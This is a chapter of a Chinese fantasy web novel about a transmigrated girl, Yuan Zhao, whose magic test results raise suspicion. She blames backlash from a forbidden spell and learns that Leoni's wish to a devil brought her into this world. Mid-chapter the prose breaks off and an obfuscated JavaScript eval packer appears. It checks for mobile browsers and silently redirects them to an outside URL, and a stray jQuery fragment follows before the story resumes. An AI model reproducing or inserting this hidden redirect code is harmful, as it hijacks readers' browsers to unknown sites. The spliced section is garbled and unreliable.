内厄姆仰视检测仪内被包裹成银白色茧的少女，她如同一个引力极强的漩涡，吸引四面八方的元素粒子飞速向她集聚。


    检测仪内原本分散排列的粒子快要被她清空，他光是肉眼就能判定她的元素亲和力一定在90%以上。


    身旁传来细微的吸气声，内厄姆偏头：“怎么样？”


    检测员让开位置，示意他自己来看。


    与检测仪相连的数据反馈造物爆发出惊人的光亮，元素条带不断攀升，几乎达到顶峰。


    检测员指着已经稳定下来的数值，努力压抑心头的震撼：“98.6%，还在上升。”


    内厄姆哑然。


    虽然能被吸引的元素粒子在减少，但距检测结束还有将近十分钟，元曌的元素亲和力很可能突破99%大关。


    真是……令人惊叹的魔法天赋。


    他摩挲着胸前的徽章，密切关注数据的检测员却察觉不对。


    “诶，她的活跃度……”


    见内厄姆望来，他吞咽一下口水：“元素活跃度只有……1.2%。”


    “什么？”内厄姆拧眉，“怎么会这样？”


    检测员也奇怪，亲和力高的魔法师往往活跃度不低，所以他一开始没去关注活跃度的结果。


    内厄姆眯眼，仔细观察围着元曌的元素粒子，终于发现了不对劲。


    正常检测的情况下，那些元素会这么平静吗？


    “调出莱昂尼的毕业检测报告。”他毫不犹豫命令。


    中级魔法学院毕业生会被统一安排一次大体检，得到的结果会反馈给高级魔法学园招生处，用于招生的筛选。


    历年的毕业检测都由帝国魔法研究中心负责。


    检测员有些为难，根据研究中心的规定，魔法师的检测结果应对所有人保密，除非有招生等特殊用途。


    内厄姆看出他的迟疑，但也没催促。


    令人窒息的两分钟过后，检测员胸口别着的徽章一震。


    那是一条来自上级的通讯，勒令他积极配合内厄姆的所有要求。


    不敢细想，检测员用最快速度调取了元曌的检测报告，送到男人手中。


    内厄姆接过薄薄两张纸，随意翻看几眼，视线在某两行字上一凝。


    检测报告显示莱昂尼静息状态下的元素活跃度为14.7%，以她的魔法师等级来看，是再正常不过的数值。


    而元素亲和力……92.1%么？


    内厄姆眉头皱得更深。


    十分钟后，随着“滴滴”两声，检测仪的出口开启。


    元曌乍一接触亮光不太适应，用手挡了挡眼睛，才察觉外面古怪的氛围。


    这份古怪主要来自一声不吭的检测员，他身边的内厄姆倒是面色平静。


    “感觉怎么样？”他问。


    元曌瞥了他一眼，不明所以：“还行，结果怎么样？”


    她踮脚凑近正整理数据的检测员。


    “别急。”内厄姆将她轻轻隔开，　“你这次的检测结果和之前有出入，方便说明一下吗？”


    “这样会使检测更精准。”


    元曌早有准备，她故作茫然：“出入？哪里有出入？”


    她神情不似作假，内厄姆将她之前的检测报告拿在手中：“你中级魔法学院毕业时，元素亲和力只有92.1%，现在却显著升高。”


    “而你的元素活跃度却异常降低，这期间发生了什么？”


    众所周知，元素亲和力在魔法师一生中是恒定的，不随个人能力增强而提高，他对这项数据同样抱有疑惑。


    这个名为莱昂尼的学生实在奇怪。


    内厄姆本以为她需要思索一会，没想到自己话音刚落，元曌已然开口：


    “我不知道。”


    清脆响亮的四个字，带着莫名的理直气壮，内厄姆和一旁竖起耳朵的检测员具是一楞。


    “你不知道？别开玩笑。”内厄姆语气加重。


    “我真不知道。”元曌还觉得奇怪，“帝国这么关注我这种天之骄子，会不知道我被禁术反噬的事？”


    禁术……反噬？


    内厄姆手一抖，检测报告差点掉在地上。


    他暗自环视一圈，周围听到这四个字的人纷纷停下动作，朝他们这望了过来。


    内厄姆想警告元曌别胡说八道，但她眼底一片坦然，仿佛这件事真的存在过。


    真是疯了。


    他一手拉过元曌，一手拿起刚出炉的检测报告，快步将她带离房间。


    走进自己的办公室，内厄姆锁上门，才敢松口气。


    再回头，元曌已经在办公室内逛了一圈，姿态闲适，仿佛她才是这个房间的主人。


    真是年轻不怕来事，他抿了口桌上的茶水，里面添加了有静心凝神功效的药植，让人思绪不由放缓。


    “禁术这种事情你也敢乱说？”内厄姆沉声质问，见元曌要反驳，气不打一处来。


    “你要真敢使用禁术，都活不到进圣裁所，审判局那群人就会把你弄死在牢里。”


    元曌收回乱飘的视线，心想原来这人是研究中心下设元素研究部的副部长。


    她随口道：“程序不合法吧？”


    这是程序合不合法的问题吗？


    内厄姆一噎，又喝了一口茶水：“……我的意思是，你不可能接触过禁术。”


    怎么这么断定，元曌又和莱昂尼确认一一遍，肯定道：“我就是使用了禁术，然后被反噬了。”


    这可是她最得意的借口，什么事都能往上面推。


    “那我现在就把你带去圣裁所。”内厄姆语气隐含威胁，又骤然变软，“你为什么会觉得你使用了禁术？”


    其实带去圣裁所也没什么，刚好能见秘银。


    元曌不觉得这件事有这么吓人，学校甚至连处分都没给，国家机构更不可能给惩罚了。


    【所以为什么？】她问莱昂尼。


    莱昂尼迟疑：【因为……我就是用了？】


    【这人好偏执，你告诉我你用的什么禁术呗？】


    知道她想趁机套取情报，但莱昂尼不可能放任不管。


    【是……向魔鬼献祭灵魂换取一个愿望的禁术。】


    不是空间类型的禁术？


    元曌趁热打铁：【你许愿我穿越？】


    不对，莱昂尼的认知中可没有“穿越”。


    【不是。】她摇头，【你先告诉他。】


    元曌实话实说，又加了句：“我室友也看到了我身上的禁术痕迹，错不了。”


    内厄姆见她态度诚恳、理由充分，不由动摇几分。


    禁术五花八门，字面上确实无法判断真伪，他十指交叉，沉默片刻：“……先不谈这个。”


    他拿过检测报告，面上浮现出一丝亲和的笑容：“先来看看你的其他数据……”


    元曌还没来得及感慨他变脸像翻书，内厄姆刚展露出的笑意骤然消失。


    他身体前倾，将检测报告缓缓推至元曌面前，极力克制自己的语气：


    “告诉我，你的亲和元素为什么是火？”


    果然如此。


    元曌长久以来的猜测得到证实，情绪轻快不少：“因为禁术反噬啊。”


    内厄姆这次没有发火，他双腿交叠，脸色变了又变，最终归于沉寂。


    “我知道了。”


    他用食指抬了抬眼镜，沉默几秒，突然道：“莱昂尼同学，你可以先回去了。”


    这是逐客令


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16478908|183008||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ？


    元曌挑眉，刚要拿走检测报告，却发现那份报告如同被固定在桌上，纹丝不动。


    “这份报告要由研究中心妥善保管，你不能带走。”内厄姆恢复了第一次见面时的笑容。


    别看检测报告两张纸，真有用的数据不过几行，元曌迅速浏览一番，将几个重要数字映入脑海。


    内厄姆没有阻拦她。


    办公室的门在身后关上，元曌蹑手蹑脚贴上门板，刚才离开前，她似乎看到内厄姆点开了通讯。


    【有隔音魔法阵。】莱昂尼认出门上的图纹。


    情理之中，毕竟是办公室，而且像他那么谨慎的人，不可能不在他们聊“禁术”的时候打开隔音罩。


    元曌心中狐疑：总不能是她的身体数据有问题。


    内厄姆再怎么想不通，也不可能找出她身体情况大改变的原因。


    正常人怎么可能猜得到是穿越。


    魔法研究中心的长阶一眼望不到头，元曌不像内厄姆可以使用瞬移魔法，又找不到传送阵，只能自己一格一格下来。


    她边走边和莱昂尼聊天：【能告诉我了？】


    【你那么聪明，肯定也发现不对劲了吧？】


    元曌在刚来的那晚就了解到辉光大陆对禁术深恶痛绝，这样一片多种族和谐共处的大陆，能将参与禁术的夜魔一族赶尽杀绝，本身也说明了的帝国的态度。


    与禁术相关者，一个不留。


    比起校内知情的老师平淡的反应，内厄姆草木皆兵的态度才符合帝国谈禁术色变的说法。


    元曌当时就觉察到异常，但她没说出来。


    【老师们的反应确实奇怪。】莱昂尼不得不承认这一点，【但我使用的禁术肯定是真的。】


    元曌垂眸，内厄姆质疑她时，莱昂尼把这句话强调了无数遍，可见她的坚定与确信。


    她清楚莱昂尼还没说完。


    元曌跳下一格阶梯，两侧的雕像面容平静祥和，根本不像会暴起攻击人的样子。


    她抬手抚上其中一座雕像的右手，没有任何事情发生。


    【我对魔鬼许下的愿是：我希望我所遭遇的一切阴谋能平息，我希望莉奥拉能平安回来。】


    【魔鬼为我带来了你。】


    仿佛终于卸下重担，莱昂尼吐字流畅而迅速：【所有魔法师都知道，现存的任何空间魔法都不可能实现“穿越”，只有禁术。】


    【只有禁术才说得通。】


    一切蛛丝马迹在元曌脑海中连成线：“所以你不告诉我，怕我离开。”


    如果作为愿望实现途径的自己回到原来的世界，莱昂尼的一切希望都会化作泡影。


    【是。】莱昂尼没有丝毫推脱，【对不起。】


    【我希望你留下。】


    “你觉得我能做到？”元曌挑眉，“你要对抗的很可能是王室。”


    莱昂尼沉默，从第一次元曌提出她想回去时，愧疚与无助无时无刻不在折磨她，她希望元曌能留下，但还是将选择权交给了对方。


    她记得禁术的咒语，元曌可以用它许下回去的愿望。


    在元曌进入这个世界以前，她的生活一片狼藉，这种痛苦不该由毫不知情的她来承受。


    元曌能感觉到莱昂尼的大致想法，她一面惊讶于她罕见的多愁善感，一面又觉得，她似乎有点太多虑了。


    “怎么想那么多？”她慢慢往下走，“我留下不就好了？”


    莱昂尼一愣：【什么？】


    长阶很快就要到尽头，元曌轻巧一跃，稳稳落在手持戒尺的尤景面前。


    她右手在戒尺上放肆一滑，指尖传来的触感冷硬冰凉，元曌抬头直视雕塑空洞却平和的双眼：


    “我说，我留下。”